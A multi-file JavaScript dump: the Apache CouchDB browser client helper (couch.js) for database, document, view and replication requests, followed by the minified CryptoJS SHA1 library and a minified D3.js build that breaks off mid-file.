9 // License for the specific language governing permissions and limitations under
10 // the License.
11
12 // A simple class to represent a database. Uses XMLHttpRequest to interface with
13 // the CouchDB server.
14
15 function CouchDB(name, httpHeaders) {
16 this.name = name;
17 this.uri = "/" + encodeURIComponent(name) + "/";
18
19 // The XMLHttpRequest object from the most recent request. Callers can
20 // use this to check result http status and headers.
21 this.last_req = null;
22
23 this.request = function(method, uri, requestOptions) {
24 requestOptions = requestOptions || {}
25 requestOptions.headers = combine(requestOptions.headers, httpHeaders)
26 return CouchDB.request(method, uri, requestOptions);
27 }
28
29 // Creates the database on the server
30 this.createDb = function() {
31 this.last_req = this.request("PUT", this.uri);
32 CouchDB.maybeThrowError(this.last_req);
33 return JSON.parse(this.last_req.responseText);
34 }
35
36 // Deletes the database on the server
37 this.deleteDb = function() {
38 this.last_req = this.request("DELETE", this.uri);
39 if (this.last_req.status == 404)
40 return false;
41 CouchDB.maybeThrowError(this.last_req);
42 return JSON.parse(this.last_req.responseText);
43 }
44
45 // Save a document to the database
46 this.save = function(doc, options) {
47 if (doc._id == undefined)
48 doc._id = CouchDB.newUuids(1)[0];
49
50 this.last_req = this.request("PUT", this.uri +
51 encodeURIComponent(doc._id) + encodeOptions(options),
52 {body: JSON.stringify(doc)});
53 CouchDB.maybeThrowError(this.last_req);
54 var result = JSON.parse(this.last_req.responseText);
55 doc._rev = result.rev;
56 return result;
57 }
58
59 // Open a document from the database
60 this.open = function(docId, options) {
61 this.last_req = this.request("GET", this.uri + encodeURIComponent(docId) + encodeOptions(options));
62 if (this.last_req.status == 404)
63 return null;
64 CouchDB.maybeThrowError(this.last_req);
65 return JSON.parse(this.last_req.responseText);
66 }
67
68 // Deletes a document from the database
69 this.deleteDoc = function(doc) {
70 this.last_req = this.request("DELETE", this.uri + encodeURIComponent(doc._id) + "?rev=" + doc._rev);
71 CouchDB.maybeThrowError(this.last_req);
72 var result = JSON.parse(this.last_req.responseText);
73 doc._rev = result.rev; //record rev in input document
74 doc._deleted = true;
75 return result;
76 }
77
78 // Deletes an attachment from a document
79 this.deleteDocAttachment = function(doc, attachment_name) {
80 this.last_req = this.request("DELETE", this.uri + encodeURIComponent(doc._id) + "/" + attachment_name + "?rev=" + doc._rev);
81 CouchDB.maybeThrowError(this.last_req);
82 var result = JSON.parse(this.last_req.responseText);
83 doc._rev = result.rev; //record rev in input document
84 return result;
85 }
86
87 this.bulkSave = function(docs, options) {
88 // first prepoulate the UUIDs for new documents
89 var newCount = 0
90 for (var i=0; i<docs.length; i++) {
91 if (docs[i]._id == undefined)
92 newCount++;
93 }
94 var newUuids = CouchDB.newUuids(docs.length);
95 var newCount = 0
96 for (var i=0; i<docs.length; i++) {
97 if (docs[i]._id == undefined)
98 docs[i]._id = newUuids.pop();
99 }
100 var json = {"docs": docs};
101 // put any options in the json
102 for (var option in options) {
103 json[option] = options[option];
104 }
105 this.last_req = this.request("POST", this.uri + "_bulk_docs", {
106 body: JSON.stringify(json)
107 });
108 if (this.last_req.status == 417) {
109 return {errors: JSON.parse(this.last_req.responseText)};
110 }
111 else {
112 CouchDB.maybeThrowError(this.last_req);
113 var results = JSON.parse(this.last_req.responseText);
114 for (var i = 0; i < docs.length; i++) {
115 if(results[i].rev)
116 docs[i]._rev = results[i].rev;
117 }
118 return results;
119 }
120 }
121
122 this.ensureFullCommit = function() {
123 this.last_req = this.request("POST", this.uri + "_ensure_full_commit");
124 CouchDB.maybeThrowError(this.last_req);
125 return JSON.parse(this.last_req.responseText);
126 }
127
128 // Applies the map function to the contents of database and returns the results.
129 this.query = function(mapFun, reduceFun, options, keys) {
130 var body = {language: "javascript"};
131 if(keys) {
132 body.keys = keys ;
133 }
134 if (typeof(mapFun) != "string")
135 mapFun = mapFun.toSource ? mapFun.toSource() : "(" + mapFun.toString() + ")";
136 body.map = mapFun;
137 if (reduceFun != null) {
138 if (typeof(reduceFun) != "string")
139 reduceFun = reduceFun.toSource ? reduceFun.toSource() : "(" + reduceFun.toString() + ")";
140 body.reduce = reduceFun;
141 }
142 if (options && options.options != undefined) {
143 body.options = options.options;
144 delete options.options;
145 }
146 this.last_req = this.request("POST", this.uri + "_temp_view" + encodeOptions(options), {
147 headers: {"Content-Type": "application/json"},
148 body: JSON.stringify(body)
149 });
150 CouchDB.maybeThrowError(this.last_req);
151 return JSON.parse(this.last_req.responseText);
152 }
153
154 this.view = function(viewname, options, keys) {
155 var viewParts = viewname.split('/');
156 var viewPath = this.uri + "_design/" + viewParts[0] + "/_view/"
157 + viewParts[1] + encodeOptions(options);
158 if(!keys) {
159 this.last_req = this.request("GET", viewPath);
160 } else {
161 this.last_req = this.request("POST", viewPath, {
162 headers: {"Content-Type": "application/json"},
163 body: JSON.stringify({keys:keys})
164 });
165 }
166 if (this.last_req.status == 404)
167 return null;
168 CouchDB.maybeThrowError(this.last_req);
169 return JSON.parse(this.last_req.responseText);
170 }
171
172 // gets information about the database
173 this.info = function() {
174 this.last_req = this.request("GET", this.uri);
175 CouchDB.maybeThrowError(this.last_req);
176 return JSON.parse(this.last_req.responseText);
177 }
178
179 this.allDocs = function(options,keys) {
180 if(!keys) {
181 this.last_req = this.request("GET", this.uri + "_all_docs" + encodeOptions(options));
182 } else {
183 this.last_req = this.request("POST", this.uri + "_all_docs" + encodeOptions(options), {
184 headers: {"Content-Type": "application/json"},
185 body: JSON.stringify({keys:keys})
186 });
187 }
188 CouchDB.maybeThrowError(this.last_req);
189 return JSON.parse(this.last_req.responseText);
190 }
191
192 this.designDocs = function() {
193 return this.allDocs({startkey:"_design", endkey:"_design0"});
194 };
195
196 this.allDocsBySeq = function(options,keys) {
197 var req = null;
198 if(!keys) {
199 req = this.request("GET", this.uri + "_all_docs_by_seq" + encodeOptions(options));
200 } else {
201 req = this.request("POST", this.uri + "_all_docs_by_seq" + encodeOptions(options), {
202 headers: {"Content-Type": "application/json"},
203 body: JSON.stringify({keys:keys})
204 });
205 }
206 CouchDB.maybeThrowError(req);
207 return JSON.parse(req.responseText);
208 }
209
210 this.compact = function() {
211 this.last_req = this.request("POST", this.uri + "_compact");
212 CouchDB.maybeThrowError(this.last_req);
213 return JSON.parse(this.last_req.responseText);
214 }
215
216 this.setDbProperty = function(propId, propValue) {
217 this.last_req = this.request("PUT", this.uri + propId,{
218 body:JSON.stringify(propValue)
219 });
220 CouchDB.maybeThrowError(this.last_req);
221 return JSON.parse(this.last_req.responseText);
222 }
223
224 this.getDbProperty = function(propId) {
225 this.last_req = this.request("GET", this.uri + propId);
226 CouchDB.maybeThrowError(this.last_req);
227 return JSON.parse(this.last_req.responseText);
228 }
229
230 this.setAdmins = function(adminsArray) {
231 this.last_req = this.request("PUT", this.uri + "_admins",{
232 body:JSON.stringify(adminsArray)
233 });
234 CouchDB.maybeThrowError(this.last_req);
235 return JSON.parse(this.last_req.responseText);
236 }
237
238 this.getAdmins = function() {
239 this.last_req = this.request("GET", this.uri + "_admins");
240 CouchDB.maybeThrowError(this.last_req);
241 return JSON.parse(this.last_req.responseText);
242 }
243
244 // Convert a options object to an url query string.
245 // ex: {key:'value',key2:'value2'} becomes '?key="value"&key2="value2"'
246 function encodeOptions(options) {
247 var buf = []
248 if (typeof(options) == "object" && options !== null) {
249 for (var name in options) {
250 if (!options.hasOwnProperty(name)) continue;
251 var value = options[name];
252 if (name == "key" || name == "startkey" || name == "endkey") {
253 value = toJSON(value);
254 }
255 buf.push(encodeURIComponent(name) + "=" + encodeURIComponent(value));
256 }
257 }
258 if (!buf.length) {
259 return "";
260 }
261 return "?" + buf.join("&");
262 }
263
264 function toJSON(obj) {
265 return obj !== null ? JSON.stringify(obj) : null;
266 }
267
268 function combine(object1, object2) {
269 if (!object2)
270 return object1;
271 if (!object1)
272 return object2;
273
274 for (var name in object2)
275 object1[name] = object2[name];
276
277 return object1;
278 }
279
280
281 }
282
283 // this is the XMLHttpRequest object from last request made by the following
284 // CouchDB.* functions (except for calls to request itself).
285 // Use this from callers to check HTTP status or header values of requests.
286 CouchDB.last_req = null;
287
288
289 CouchDB.allDbs = function() {
290 CouchDB.last_req = CouchDB.request("GET", "/_all_dbs");
291 CouchDB.maybeThrowError(CouchDB.last_req);
292 return JSON.parse(CouchDB.last_req.responseText);
293 }
294
295 CouchDB.allDesignDocs = function() {
296 var ddocs = {}, dbs = CouchDB.allDbs();
297 for (var i=0; i < dbs.length; i++) {
298 var db = new CouchDB(dbs[i]);
299 ddocs[dbs[i]] = db.designDocs();
300 };
301 return ddocs;
302 };
303
304 CouchDB.getVersion = function() {
305 CouchDB.last_req = CouchDB.request("GET", "/");
306 CouchDB.maybeThrowError(CouchDB.last_req);
307 return JSON.parse(CouchDB.last_req.responseText).version;
308 }
309
310 CouchDB.replicate = function(source, target, rep_options) {
311 rep_options = rep_options || {};
312 var headers = rep_options.headers || {};
313 CouchDB.last_req = CouchDB.request("POST", "/_replicate", {
314 headers: headers,
315 body: JSON.stringify({source: source, target: target})
316 });
317 CouchDB.maybeThrowError(CouchDB.last_req);
318 return JSON.parse(CouchDB.last_req.responseText);
319 }
320
321 CouchDB.newXhr = function() {
322 if (typeof(XMLHttpRequest) != "undefined") {
323 return new XMLHttpRequest();
324 } else if (typeof(ActiveXObject) != "undefined") {
325 return new ActiveXObject("Microsoft.XMLHTTP");
326 } else {
327 throw new Error("No XMLHTTPRequest support detected");
328 }
329 }
330
331 CouchDB.request = function(method, uri, options) {
332 options = options || {};
333 var req = CouchDB.newXhr();
334 req.open(method, uri, false);
335 if (options.headers) {
336 var headers = options.headers;
337 for (var headerName in headers) {
338 if (!headers.hasOwnProperty(headerName)) continue;
339 req.setRequestHeader(headerName, headers[headerName]);
340 }
341 }
342 req.send(options.body || "");
343 return req;
344 }
345
346 CouchDB.requestStats = function(module, key, test) {
347 var query_arg = "";
348 if(test !== null) {
349 query_arg = "?flush=true";
350 }
351
352 var stat = CouchDB.request("GET", "/_stats/" + module + "/" + key + query_arg).responseText;
353 return JSON.parse(stat)[module][key];
354 }
355
356 CouchDB.uuids_cache = [];
357
358 CouchDB.newUuids = function(n) {
359 if (CouchDB.uuids_cache.length >= n) {
360 var uuids = CouchDB.uuids_cache.slice(CouchDB.uuids_cache.length - n);
361 if(CouchDB.uuids_cache.length - n == 0) {
362 CouchDB.uuids_cache = [];
363 } else {
364 CouchDB.uuids_cache =
365 CouchDB.uuids_cache.slice(0, CouchDB.uuids_cache.length - n);
366 }
367 return uuids;
368 } else {
369 CouchDB.last_req = CouchDB.request("GET", "/_uuids?count=" + (100 + n));
370 CouchDB.maybeThrowError(CouchDB.last_req);
371 var result = JSON.parse(CouchDB.last_req.responseText);
372 CouchDB.uuids_cache =
373 CouchDB.uuids_cache.concat(result.uuids.slice(0, 100));
374 return result.uuids.slice(100);
375 }
376 }
377
378 CouchDB.maybeThrowError = function(req) {
379 if (req.status >= 400) {
380 try {
381 var result = JSON.parse(req.responseText);
382 } catch (ParseError) {
383 var result = {error:"unknown", reason:req.responseText};
384 }
385 throw result;
386 }
387 }
388
389 CouchDB.params = function(options) {
390 options = options || {};
391 var returnArray = [];
392 for(var key in options) {
393 var value = options[key];
394 returnArray.push(key + "=" + value);
395 }
396 return returnArray.join("&");
397 }
0 /*
1 CryptoJS v3.1.2
2 code.google.com/p/crypto-js
3 (c) 2009-2013 by Jeff Mott. All rights reserved.
4 code.google.com/p/crypto-js/wiki/License
5 */
6 var CryptoJS=CryptoJS||function(e,m){var p={},j=p.lib={},l=function(){},f=j.Base={extend:function(a){l.prototype=this;var c=new l;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},
7 n=j.WordArray=f.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=m?c:4*a.length},toString:function(a){return(a||h).stringify(this)},concat:function(a){var c=this.words,q=a.words,d=this.sigBytes;a=a.sigBytes;this.clamp();if(d%4)for(var b=0;b<a;b++)c[d+b>>>2]|=(q[b>>>2]>>>24-8*(b%4)&255)<<24-8*((d+b)%4);else if(65535<q.length)for(b=0;b<a;b+=4)c[d+b>>>2]=q[b>>>2];else c.push.apply(c,q);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<
8 32-8*(c%4);a.length=e.ceil(c/4)},clone:function(){var a=f.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],b=0;b<a;b+=4)c.push(4294967296*e.random()|0);return new n.init(c,a)}}),b=p.enc={},h=b.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var b=[],d=0;d<a;d++){var f=c[d>>>2]>>>24-8*(d%4)&255;b.push((f>>>4).toString(16));b.push((f&15).toString(16))}return b.join("")},parse:function(a){for(var c=a.length,b=[],d=0;d<c;d+=2)b[d>>>3]|=parseInt(a.substr(d,
9 2),16)<<24-4*(d%8);return new n.init(b,c/2)}},g=b.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var b=[],d=0;d<a;d++)b.push(String.fromCharCode(c[d>>>2]>>>24-8*(d%4)&255));return b.join("")},parse:function(a){for(var c=a.length,b=[],d=0;d<c;d++)b[d>>>2]|=(a.charCodeAt(d)&255)<<24-8*(d%4);return new n.init(b,c)}},r=b.Utf8={stringify:function(a){try{return decodeURIComponent(escape(g.stringify(a)))}catch(c){throw Error("Malformed UTF-8 data");}},parse:function(a){return g.parse(unescape(encodeURIComponent(a)))}},
10 k=j.BufferedBlockAlgorithm=f.extend({reset:function(){this._data=new n.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var c=this._data,b=c.words,d=c.sigBytes,f=this.blockSize,h=d/(4*f),h=a?e.ceil(h):e.max((h|0)-this._minBufferSize,0);a=h*f;d=e.min(4*a,d);if(a){for(var g=0;g<a;g+=f)this._doProcessBlock(b,g);g=b.splice(0,a);c.sigBytes-=d}return new n.init(g,d)},clone:function(){var a=f.clone.call(this);
11 a._data=this._data.clone();return a},_minBufferSize:0});j.Hasher=k.extend({cfg:f.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){k.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(c,b){return(new a.init(b)).finalize(c)}},_createHmacHelper:function(a){return function(b,f){return(new s.HMAC.init(a,
12 f)).finalize(b)}}});var s=p.algo={};return p}(Math);
13 (function(){var e=CryptoJS,m=e.lib,p=m.WordArray,j=m.Hasher,l=[],m=e.algo.SHA1=j.extend({_doReset:function(){this._hash=new p.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(f,n){for(var b=this._hash.words,h=b[0],g=b[1],e=b[2],k=b[3],j=b[4],a=0;80>a;a++){if(16>a)l[a]=f[n+a]|0;else{var c=l[a-3]^l[a-8]^l[a-14]^l[a-16];l[a]=c<<1|c>>>31}c=(h<<5|h>>>27)+j+l[a];c=20>a?c+((g&e|~g&k)+1518500249):40>a?c+((g^e^k)+1859775393):60>a?c+((g&e|g&k|e&k)-1894007588):c+((g^e^
14 k)-899497514);j=k;k=e;e=g<<30|g>>>2;g=h;h=c}b[0]=b[0]+h|0;b[1]=b[1]+g|0;b[2]=b[2]+e|0;b[3]=b[3]+k|0;b[4]=b[4]+j|0},_doFinalize:function(){var f=this._data,e=f.words,b=8*this._nDataBytes,h=8*f.sigBytes;e[h>>>5]|=128<<24-h%32;e[(h+64>>>9<<4)+14]=Math.floor(b/4294967296);e[(h+64>>>9<<4)+15]=b;f.sigBytes=4*e.length;this._process();return this._hash},clone:function(){var e=j.clone.call(this);e._hash=this._hash.clone();return e}});e.SHA1=j._createHelper(m);e.HmacSHA1=j._createHmacHelper(m)})();
0 !function(){function n(n,t){return t>n?-1:n>t?1:n>=t?0:0/0}function t(n){return null!=n&&!isNaN(n)}function e(n){return{left:function(t,e,r,u){for(arguments.length<3&&(r=0),arguments.length<4&&(u=t.length);u>r;){var i=r+u>>>1;n(t[i],e)<0?r=i+1:u=i}return r},right:function(t,e,r,u){for(arguments.length<3&&(r=0),arguments.length<4&&(u=t.length);u>r;){var i=r+u>>>1;n(t[i],e)>0?u=i:r=i+1}return r}}}function r(n){return n.length}function u(n){for(var t=1;n*t%1;)t*=10;return t}function i(n,t){try{for(var e in t)Object.defineProperty(n.prototype,e,{value:t[e],enumerable:!1})}catch(r){n.prototype=t}}function o(){}function a(n){return ia+n in this}function c(n){return n=ia+n,n in this&&delete this[n]}function s(){var n=[];return this.forEach(function(t){n.push(t)}),n}function l(){var n=0;for(var t in this)t.charCodeAt(0)===oa&&++n;return n}function f(){for(var n in this)if(n.charCodeAt(0)===oa)return!1;return!0}function h(){}function g(n,t,e){return function(){var r=e.apply(t,arguments);return r===t?n:r}}function p(n,t){if(t in n)return t;t=t.charAt(0).toUpperCase()+t.substring(1);for(var e=0,r=aa.length;r>e;++e){var u=aa[e]+t;if(u in n)return u}}function v(){}function d(){}function m(n){function t(){for(var t,r=e,u=-1,i=r.length;++u<i;)(t=r[u].on)&&t.apply(this,arguments);return n}var e=[],r=new o;return t.on=function(t,u){var i,o=r.get(t);return arguments.length<2?o&&o.on:(o&&(o.on=null,e=e.slice(0,i=e.indexOf(o)).concat(e.slice(i+1)),r.remove(t)),u&&e.push(r.set(t,{on:u})),n)},t}function y(){Zo.event.preventDefault()}function x(){for(var n,t=Zo.event;n=t.sourceEvent;)t=n;return t}function M(n){for(var t=new d,e=0,r=arguments.length;++e<r;)t[arguments[e]]=m(t);return t.of=function(e,r){return function(u){try{var i=u.sourceEvent=Zo.event;u.target=n,Zo.event=u,t[u.type].apply(e,r)}finally{Zo.event=i}}},t}function _(n){return sa(n,pa),n}function b(n){return"function"==typeof n?n:function(){return la(n,this)}}function w(n){return"function"==typeof n?n:function(){return fa(n,this)}}function S(n,t){function e(){this.removeAttribute(n)}function r(){this.removeAttributeNS(n.space,n.local)}function u(){this.setAttribute(n,t)}function i(){this.setAttributeNS(n.space,n.local,t)}function o(){var e=t.apply(this,arguments);null==e?this.removeAttribute(n):this.setAttribute(n,e)}function a(){var e=t.apply(this,arguments);null==e?this.removeAttributeNS(n.space,n.local):this.setAttributeNS(n.space,n.local,e)}return n=Zo.ns.qualify(n),null==t?n.local?r:e:"function"==typeof t?n.local?a:o:n.local?i:u}function k(n){return n.trim().replace(/\s+/g," ")}function E(n){return new RegExp("(?:^|\\s+)"+Zo.requote(n)+"(?:\\s+|$)","g")}function A(n){return(n+"").trim().split(/^|\s+/)}function C(n,t){function e(){for(var e=-1;++e<u;)n[e](this,t)}function r(){for(var e=-1,r=t.apply(this,arguments);++e<u;)n[e](this,r)}n=A(n).map(N);var u=n.length;return"function"==typeof t?r:e}function N(n){var t=E(n);return function(e,r){if(u=e.classList)return r?u.add(n):u.remove(n);var u=e.getAttribute("class")||"";r?(t.lastIndex=0,t.test(u)||e.setAttribute("class",k(u+" "+n))):e.setAttribute("class",k(u.replace(t," ")))}}function z(n,t,e){function r(){this.style.removeProperty(n)}function u(){this.style.setProperty(n,t,e)}function i(){var r=t.apply(this,arguments);null==r?this.style.removeProperty(n):this.style.setProperty(n,r,e)}return null==t?r:"function"==typeof t?i:u}function L(n,t){function e(){delete this[n]}function r(){this[n]=t}function u(){var e=t.apply(this,arguments);null==e?delete this[n]:this[n]=e}return null==t?e:"function"==typeof t?u:r}function T(n){return"function"==typeof n?n:(n=Zo.ns.qualify(n)).local?function(){return this.ownerDocument.createElementNS(n.space,n.local)}:function(){return this.ownerDocument.createElementNS(this.namespaceURI,n)}}function q(n){return{__data__:n}}function R(n){return function(){return ga(this,n)}}function D(t){return arguments.length||(t=n),function(n,e){return n&&e?t(n.__data__,e.__data__):!n-!e}}function P(n,t){for(var e=0,r=n.length;r>e;e++)for(var u,i=n[e],o=0,a=i.length;a>o;o++)(u=i[o])&&t(u,o,e);return n}function U(n){return sa(n,da),n}function j(n){var t,e;return function(r,u,i){var o,a=n[i].update,c=a.length;for(i!=e&&(e=i,t=0),u>=t&&(t=u+1);!(o=a[t])&&++t<c;);return o}}function H(){var n=this.__transition__;n&&++n.active}function F(n,t,e){function r(){var t=this[o];t&&(this.removeEventListener(n,t,t.$),delete this[o])}function u(){var u=c(t,Xo(arguments));r.call(this),this.addEventListener(n,this[o]=u,u.$=e),u._=t}function i(){var t,e=new RegExp("^__on([^.]+)"+Zo.requote(n)+"$");for(var r in this)if(t=r.match(e)){var u=this[r];this.removeEventListener(t[1],u,u.$),delete this[r]}}var o="__on"+n,a=n.indexOf("."),c=O;a>0&&(n=n.substring(0,a));var s=ya.get(n);return s&&(n=s,c=Y),a?t?u:r:t?v:i}function O(n,t){return function(e){var r=Zo.event;Zo.event=e,t[0]=this.__data__;try{n.apply(this,t)}finally{Zo.event=r}}}function Y(n,t){var e=O(n,t);return function(n){var t=this,r=n.relatedTarget;r&&(r===t||8&r.compareDocumentPosition(t))||e.call(t,n)}}function I(){var n=".dragsuppress-"+ ++Ma,t="click"+n,e=Zo.select(Wo).on("touchmove"+n,y).on("dragstart"+n,y).on("selectstart"+n,y);if(xa){var r=Bo.style,u=r[xa];r[xa]="none"}return function(i){function o(){e.on(t,null)}e.on(n,null),xa&&(r[xa]=u),i&&(e.on(t,function(){y(),o()},!0),setTimeout(o,0))}}function Z(n,t){t.changedTouches&&(t=t.changedTouches[0]);var e=n.ownerSVGElement||n;if(e.createSVGPoint){var r=e.createSVGPoint();if(0>_a&&(Wo.scrollX||Wo.scrollY)){e=Zo.select("body").append("svg").style({position:"absolute",top:0,left:0,margin:0,padding:0,border:"none"},"important");var u=e[0][0].getScreenCTM();_a=!(u.f||u.e),e.remove()}return _a?(r.x=t.pageX,r.y=t.pageY):(r.x=t.clientX,r.y=t.clientY),r=r.matrixTransform(n.getScreenCTM().inverse()),[r.x,r.y]}var i=n.getBoundingClientRect();return[t.clientX-i.left-n.clientLeft,t.clientY-i.top-n.clientTop]}function V(){return Zo.event.changedTouches[0].identifier}function X(){return Zo.event.target}function $(){return Wo}function B(n){return n>0?1:0>n?-1:0}function W(n,t,e){return(t[0]-n[0])*(e[1]-n[1])-(t[1]-n[1])*(e[0]-n[0])}function J(n){return n>1?0:-1>n?ba:Math.acos(n)}function G(n){return n>1?Sa:-1>n?-Sa:Math.asin(n)}function K(n){return((n=Math.exp(n))-1/n)/2}function Q(n){return((n=Math.exp(n))+1/n)/2}function nt(n){return((n=Math.exp(2*n))-1)/(n+1)}function tt(n){return(n=Math.sin(n/2))*n}function et(){}function rt(n,t,e){return this instanceof rt?(this.h=+n,this.s=+t,void(this.l=+e)):arguments.length<2?n instanceof rt?new rt(n.h,n.s,n.l):mt(""+n,yt,rt):new rt(n,t,e)}function ut(n,t,e){function r(n){return n>360?n-=360:0>n&&(n+=360),60>n?i+(o-i)*n/60:180>n?o:240>n?i+(o-i)*(240-n)/60:i}function u(n){return Math.round(255*r(n))}var i,o;return n=isNaN(n)?0:(n%=360)<0?n+360:n,t=isNaN(t)?0:0>t?0:t>1?1:t,e=0>e?0:e>1?1:e,o=.5>=e?e*(1+t):e+t-e*t,i=2*e-o,new gt(u(n+120),u(n),u(n-120))}function it(n,t,e){return this instanceof it?(this.h=+n,this.c=+t,void(this.l=+e)):arguments.length<2?n instanceof it?new it(n.h,n.c,n.l):n instanceof at?st(n.l,n.a,n.b):st((n=xt((n=Zo.rgb(n)).r,n.g,n.b)).l,n.a,n.b):new it(n,t,e)}function ot(n,t,e){return isNaN(n)&&(n=0),isNaN(t)&&(t=0),new at(e,Math.cos(n*=Aa)*t,Math.sin(n)*t)}function at(n,t,e){return this instanceof at?(this.l=+n,this.a=+t,void(this.b=+e)):arguments.length<2?n instanceof at?new at(n.l,n.a,n.b):n instanceof it?ot(n.l,n.c,n.h):xt((n=gt(n)).r,n.g,n.b):new at(n,t,e)}function ct(n,t,e){var r=(n+16)/116,u=r+t/500,i=r-e/200;return u=lt(u)*ja,r=lt(r)*Ha,i=lt(i)*Fa,new gt(ht(3.2404542*u-1.5371385*r-.4985314*i),ht(-.969266*u+1.8760108*r+.041556*i),ht(.0556434*u-.2040259*r+1.0572252*i))}function st(n,t,e){return n>0?new it(Math.atan2(e,t)*Ca,Math.sqrt(t*t+e*e),n):new it(0/0,0/0,n)}function lt(n){return n>.206893034?n*n*n:(n-4/29)/7.787037}function ft(n){return n>.008856?Math.pow(n,1/3):7.787037*n+4/29}function ht(n){return Math.round(255*(.00304>=n?12.92*n:1.055*Math.pow(n,1/2.4)-.055))}function gt(n,t,e){return this instanceof gt?(this.r=~~n,this.g=~~t,void(this.b=~~e)):arguments.length<2?n instanceof gt?new gt(n.r,n.g,n.b):mt(""+n,gt,ut):new gt(n,t,e)}function pt(n){return new gt(n>>16,255&n>>8,255&n)}function vt(n){return pt(n)+""}function dt(n){return 16>n?"0"+Math.max(0,n).toString(16):Math.min(255,n).toString(16)}function mt(n,t,e){var r,u,i,o=0,a=0,c=0;if(r=/([a-z]+)\((.*)\)/i.exec(n))switch(u=r[2].split(","),r[1]){case"hsl":return e(parseFloat(u[0]),parseFloat(u[1])/100,parseFloat(u[2])/100);case"rgb":return t(_t(u[0]),_t(u[1]),_t(u[2]))}return(i=Ia.get(n))?t(i.r,i.g,i.b):(null==n||"#"!==n.charAt(0)||isNaN(i=parseInt(n.substring(1),16))||(4===n.length?(o=(3840&i)>>4,o=o>>4|o,a=240&i,a=a>>4|a,c=15&i,c=c<<4|c):7===n.length&&(o=(16711680&i)>>16,a=(65280&i)>>8,c=255&i)),t(o,a,c))}function yt(n,t,e){var r,u,i=Math.min(n/=255,t/=255,e/=255),o=Math.max(n,t,e),a=o-i,c=(o+i)/2;return a?(u=.5>c?a/(o+i):a/(2-o-i),r=n==o?(t-e)/a+(e>t?6:0):t==o?(e-n)/a+2:(n-t)/a+4,r*=60):(r=0/0,u=c>0&&1>c?0:r),new rt(r,u,c)}function xt(n,t,e){n=Mt(n),t=Mt(t),e=Mt(e);var r=ft((.4124564*n+.3575761*t+.1804375*e)/ja),u=ft((.2126729*n+.7151522*t+.072175*e)/Ha),i=ft((.0193339*n+.119192*t+.9503041*e)/Fa);return at(116*u-16,500*(r-u),200*(u-i))}function Mt(n){return(n/=255)<=.04045?n/12.92:Math.pow((n+.055)/1.055,2.4)}function _t(n){var t=parseFloat(n);return"%"===n.charAt(n.length-1)?Math.round(2.55*t):t}function bt(n){return"function"==typeof n?n:function(){return n}}function wt(n){return n}function St(n){return function(t,e,r){return 2===arguments.length&&"function"==typeof e&&(r=e,e=null),kt(t,e,n,r)}}function kt(n,t,e,r){function u(){var n,t=c.status;if(!t&&c.responseText||t>=200&&300>t||304===t){try{n=e.call(i,c)}catch(r){return o.error.call(i,r),void 0}o.load.call(i,n)}else o.error.call(i,c)}var i={},o=Zo.dispatch("beforesend","progress","load","error"),a={},c=new XMLHttpRequest,s=null;return!Wo.XDomainRequest||"withCredentials"in c||!/^(http(s)?:)?\/\//.test(n)||(c=new XDomainRequest),"onload"in c?c.onload=c.onerror=u:c.onreadystatechange=function(){c.readyState>3&&u()},c.onprogress=function(n){var t=Zo.event;Zo.event=n;try{o.progress.call(i,c)}finally{Zo.event=t}},i.header=function(n,t){return n=(n+"").toLowerCase(),arguments.length<2?a[n]:(null==t?delete a[n]:a[n]=t+"",i)},i.mimeType=function(n){return arguments.length?(t=null==n?null:n+"",i):t},i.responseType=function(n){return arguments.length?(s=n,i):s},i.response=function(n){return e=n,i},["get","post"].forEach(function(n){i[n]=function(){return i.send.apply(i,[n].concat(Xo(arguments)))}}),i.send=function(e,r,u){if(2===arguments.length&&"function"==typeof r&&(u=r,r=null),c.open(e,n,!0),null==t||"accept"in a||(a.accept=t+",*/*"),c.setRequestHeader)for(var l in a)c.setRequestHeader(l,a[l]);return null!=t&&c.overrideMimeType&&c.overrideMimeType(t),null!=s&&(c.responseType=s),null!=u&&i.on("error",u).on("load",function(n){u(null,n)}),o.beforesend.call(i,c),c.send(null==r?null:r),i},i.abort=function(){return c.abort(),i},Zo.rebind(i,o,"on"),null==r?i:i.get(Et(r))}function Et(n){return 1===n.length?function(t,e){n(null==t?e:null)}:n}function At(){var n=Ct(),t=Nt()-n;t>24?(isFinite(t)&&(clearTimeout($a),$a=setTimeout(At,t)),Xa=0):(Xa=1,Wa(At))}function Ct(){var n=Date.now();for(Ba=Za;Ba;)n>=Ba.t&&(Ba.f=Ba.c(n-Ba.t)),Ba=Ba.n;return n}function Nt(){for(var n,t=Za,e=1/0;t;)t.f?t=n?n.n=t.n:Za=t.n:(t.t<e&&(e=t.t),t=(n=t).n);return Va=n,e}function zt(n,t){return t-(n?Math.ceil(Math.log(n)/Math.LN10):1)}function Lt(n,t){var e=Math.pow(10,3*ua(8-t));return{scale:t>8?function(n){return n/e}:function(n){return n*e},symbol:n}}function Tt(n){var t=n.decimal,e=n.thousands,r=n.grouping,u=n.currency,i=r?function(n){for(var t=n.length,u=[],i=0,o=r[0];t>0&&o>0;)u.push(n.substring(t-=o,t+o)),o=r[i=(i+1)%r.length];return u.reverse().join(e)}:wt;return function(n){var e=Ga.exec(n),r=e[1]||" 